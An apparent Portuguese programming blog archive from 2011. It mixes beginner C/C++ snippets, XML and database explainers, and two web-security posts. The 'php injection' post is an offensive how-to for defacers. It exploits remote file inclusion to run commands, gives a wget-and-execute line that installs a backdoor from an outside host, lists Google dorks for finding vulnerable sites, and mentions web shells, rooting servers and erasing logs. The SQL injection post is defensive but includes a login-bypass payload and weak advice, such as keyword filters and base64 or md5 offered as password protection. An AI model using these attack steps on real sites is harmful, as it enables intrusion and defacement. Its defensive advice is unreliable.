Arquivo

Archive for the ‘Desenvolvimento’ Category

O que é XML?

14 de junho de 2011 Deixe um comentário

XML (eXtensible Markup Language) é uma recomendação da W3C para gerar linguagens de marcação para necessidades especiais.


XML é um subtipo de SGML (Standard Generalized Markup Language – Padrão de marcação generalizada) capaz de descrever diversos tipos de dados. Seu propósito principal é a facilidade de compartilhamento de informações através da Internet. Linguagens baseadas em XML: RDF, SMIL, MathML, XSIL e SVG. O SVG por exemplo é um formato gráfico vetorial (graphics scalar vector).


Características do XML


Estimulado pela insatisfação com os formatos existentes (padronização ou não), um grupo de empresas e organizações que se autodenominou World Wide Web Consortium (W3C) começou a trabalhar em meados da década de 1990 em uma linguagem de marcação que combinava a flexibilidade da SGML com a simplicidade da HTML. O principio do projeto era criar uma linguagem que pudesse ser lida por software, e integra-se com as demais linguagens. Características do XML:


. Separação do conteúdo e da formatação;
. Legibilidade tanto por humanos quanto por máquinas;
. Possibilidade de criação de tags sem limitação;
. Criação de arquivos para validação de estrutura;
. Com seu uso pode-se interligar bancos de dados distintos.


Um banco de dados pode, através de uma aplicação escrever em um arquivo XML, e um outro banco distinto pode ler então estes mesmos dados.

Anúncios
Categorias:Desenvolvimento, web, XML

php injection

3 de junho de 2011 Deixe um comentário
Muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.
A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam ‘includes’ para ajudar na criação do seu site sem fazer nenhuma verificação das ‘strings’
Um exemplo de um site vulneravel, com 3 partes em uma tabela:
include(‘topo.php’);
include(‘menu.php’);
include($page);
Existem várias strings, a mais comum é page..
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para ‘injetar’ páginas maliciosas que executam comandos na maquina que roda o site , olha que legal dai o nome “PHP Injection”
Usando esse script como referencia :
http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h … if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os arquivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..
Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no ‘cmd’ cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h … in;./r0nin
Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br1666, pronto, você está na maquina, enjoy! 
Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:”.pt” (escolhendo a classe do dominio) para procurar páginas somente de um país.
allinurl:”.php?page=”
allinurl:”.php?inc=”
allinurl:”.php?body=”
allinurl:”.php?main=”
allinurl:”.php?pag=”
allinurl:”.php?p=”
allinurl:”.php?content=”
allinurl:”.php?cont=”
allinurl:”.php?c=”
allinurl:”.php?meio=”
allinurl:”.php?x=”
allinurl:”.php?cat=”
allinurl:”.php?site=”
allinurl:”.php?m=”
allinurl:”.php?do=”
allinurl:”.php?x=”
allinurl:”.php?content=”
allinurl:”.php?pagina=”
allinurl:”.php?root=”
allinurl:”.php?include=”
allinurl:”.php?open=”
allinurl:”.php?visualizar=”
allinurl:”.php?conf=”
Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer o que quiser com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel.
Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, entao continue procurando . Comentem e ajuem a complementar.
Ah uma shell muito utilizada é a c99shell .

MDC usando funções

2 de junho de 2011 Deixe um comentário

Mais um exemplo simples e funcional de funções em C++
#include

using namespace std;

//Permuta os valores de a e b.
void troca( int &a, int &b )
{
int c;
c = a;
a = b;
b = c;
}

// Calcula o mdc(x,y) para x e y positivos.
int mdc(int x, int y)
{
do
{
//cout << "x = " << x << " y = " << y << endl; // ( opcional ) - informa quais valores estão sendo utilizados. x = x % y; cout << "x = " << x << " y = " << y << endl; troca(x,y); cout << "x = " << x << " y = " << y << endl; } while ( y != 0 ); return x; } // fim de mdc // Calcula o mdc de vários parees de números inteiros positivos. int main() { int m, n; char c; do { cout << "Entre com dois números inteiros positivos:" <> m >> n;
cout << "O mdc deles é " << mdc(m,n); cout << "\nDeseja continuar (s/n)? "<> c;
} while ( ( c != 'n' ) && ( c != 'N' ) );

return 0;

} // fim da função main

Gerar número randomico em C

2 de junho de 2011 Deixe um comentário

Que tal um codigo que gera um número randômico entre 0 e 2, para gerar entre outros números altere neste parte n = 0 + rand() %2;, exemplo entre 50 e 100 ficaria n = 50 + rand() %100;.
#include
#include
#include

int main()
{
int n;

srand ((unsigned) time(NULL));
n = 0 + rand() %2;

printf("%d",n);

return 0;
}

Loop usando index de arrays ou ponteiros

2 de junho de 2011 Deixe um comentário

Temos 2 funções, uma agindo de cada tipo. Nomes sugestivos.

#include

void indexar(char *s);
void ponteiro(char *s);

int main()
{
char string[50], *s;

puts("Entre com a string: ");
scanf("%s",&string);

s = string;

indexar(s);
ponteiro(s);

return 0;
}

void indexar(char *s)
{
register int i;

puts("\nexemplo indexando array:\n");
for(i=0;s[ i ];i++)
{
putchar(s[ i ]);
printf("-");
}
}

void ponteiro(char *s)
{
puts("\nexemplo com ponteiro:\n");
while(*s){
putchar(*s++);
printf("-");
}
}

Para que serve um banco de dados?

31 de maio de 2011 Deixe um comentário

Serve para manipular (ou processar) dados…

É que existem certas maneiras padronizadas de se lidar com grandes quantidades de dados (informações no computador), que funcionam também com pequenas quantidades.

Estas “maneiras padronizadas” são chamadas de formato, padrão, paradigma, etc, mas definem como os dados são guardados no computador e como eles são apresentados.

Aí você usa um programa, um “SGBD – Sistema Gerenciador de Banco de Dados” (ou “DBMS”, em inglês, de “Data Base Management System”), como o MySQL, o Access, etc.

Ou um programa que faça uma interface (que interagem) com um SGBD (ou que tenha um SGBD embutido), como os programas feitos com o Delhpi ou o VB, por exemplo, que fazem você pensar que não existe o tal SGBD.

E dessas maneiras você usa os dados com a ajuda do computador.

O paradigma de bancos de dados mais simples é usar uma tabela. Pense um uma tabela com várias colunas, onde você coloca um tipo de informação em cada uma (como Nome, Fone, E-mail, Salário, etc), e cada linha representa uma pessoa.

Ora, cada linha (chamada também de “Registro”) conterá (nesse exemplo) os dados sobre uma pessoa, enquanto que cada coluna (chamada também de “Campo”) contêm o mesmo tipo de dado sobre todas as pessoas (como todos os E-mails de toda as pessoas cadastradas).

Podemos processar ou selecionar os dados dessa tabela. 

Por exemplo, para dar um aumento de 10% para os salários de todas as pessoas, a gente apenas multiplica por 1,1 o valor de número da coluna “Salário”.

E se queremos saber quem tem o maior salário, basta comparar os valores da coluna “Salário” e quardar o “Nome” do que tiver o maior valor de “Salário”.

O paradigma mais usado hoje em dia é o de Banco de Dados Relacional. Nesse paradigma, um banco de dados é composto por várias tabelas, mais uma série de informações (chamadas “Relações”) que nos permite ligar os dados de uma tabela com os dados de outra.

Por exemplo, uma tabela pode ser dos dados dos funcionários de uma empresa. Outra tabela pode ser a lotação dos funcionários (lista de que funcionários pertencem a cada setor da empresa).

Nesse exemplo, podemos procurar quem ganha o menor salário de um certo setor. Para isso, seleciona-se da tabela de lotação quem pertence ao setor desejado, e com estes procura-se na tabela com dados dos funcionários, um de cada vez, o salário, comparando e guardando o menor (com a identificação desse funcionário).

Voce sabe o que é SQL injection ?

31 de maio de 2011 Deixe um comentário

Bom o assunto envolve a segurança dos nossos projetos em PHP e MySQL, o temido SQL Injection. Se você é programador com certeza já ouviu à respeito.

O SQL Injection é um ataque que visa enviar comandos nocivos à base de dados através de campos de formulários ou através de URLs. Um ataque bem-sucedido pode, por exemplo, apagar  uma tabela do banco, deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas.
Veja abaixo um exemplo de vulnerabilidade em um sistema de login:
$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);

Neste exemplo as variáveis $usuario e $senha recebem conteúdo vindo diretamente de um formulário através do método POST. Imagine que o conteúdo da variável $senha seja ” ‘or 1=’1 “. Se nenhuma validação for realizada, o usuário mal-intencionado terá efetuado login no sistema sem ao menos ter especificado um cadastro válido, devido a uma falha gerada na instrução SQL.
Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via include() para organizar sua páginas internas, baseando-se numa variável do método $_GET.

// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
E na URL do site você poderia ter:
http://www.seusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… e seu banco poderia ser completamente zerado!
Ficou assustado? Calma. Para proteger seus trabalhos basta seguir uma regrinha básica:
“Valide SEMPRE todo e qualquer tipo de dado que seu projeto for receber, seja via formulário (POST) ou via query string (GET).”
Agora você deve estar se perguntando o que fazer para se proteger de ataques. Existem dezenas de “macetes” disponiveis na internet que servem para validação de dados. Seguem alguns:
– Você pode combinar addslashes() e trim() ao receber os dados. O primeiro irá adicionar uma barra invertida antes de cada barra simples ou dupla que apareça, processo esse conhecido como ESCAPE. O segundo vai se certificar de eliminar espaços em branco. Você também poderá utilizar apenas uma das duas funções.

$usuario = addslashes($_POST['usuario']);
$usuario = trim($usuario);
$senha = addslashes($_POST['senha']);
$senha = trim($senha);
– Você pode usar mysql_real_escape_string() ao receber os dados. Esta função serve para remover os carácteres especiais nos dados recebidos. Vale ressaltar que este comando nãoremove % e _ .
– Você pode usar strip_tags() ao receber os dados. Esta função retirará todas as tags HTML e PHP dos dados fornecidos.
$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);
Você pode aindar usar o segundo parâmetro da função, indicando quais tags tem permissão para continuar.
$usuario = strip_tags($_POST['usuario']);
$senha = strip_tags($_POST['senha']);


– Para toda variável inteira que for fornecida, você pode usar intval().
$usuario = strip_tags($_POST['usuario'], '');

Desta maneira você elimina qualquer caráctere não numérico, deixando somente valores inteiros.
– Você também pode combinar diversas funções em uma só função muito mais abrangente. Segue um exemplo abaixo:

function protecao($string){
$string = str_replace(" or ", "", $string);
$string = str_replace("select ", "", $string);
$string = str_replace("delete ", "", $string);
$string = str_replace("create ", "", $string);
$string = str_replace("drop ", "", $string);
$string = str_replace("update ", "", $string);
$string = str_replace("drop table", "", $string);
$string = str_replace("show table", "", $string);
$string = str_replace("applet", "", $string);
$string = str_replace("object", "", $string);
$string = str_replace("'", "", $string);
$string = str_replace("#", "", $string);
$string = str_replace("=", "", $string);
$string = str_replace("--", "", $string);
$string = str_replace("-", "", $string);
$string = str_replace(";", "", $string);
$string = str_replace("*", "", $string);
$string = strip_tags($string);
return $string;
}
– Se estiver trabalhando com senhas ou dados sigilosos, é importante pensar em usar CRIPTOGRAFIA de dados. Você pode usar md5, sha1 ou base64, sendo que os dois primeiros são de “mão única” e não podem ser revertidos ao estado anterior. Procure pesquisar mais sobre eles e proteja-se.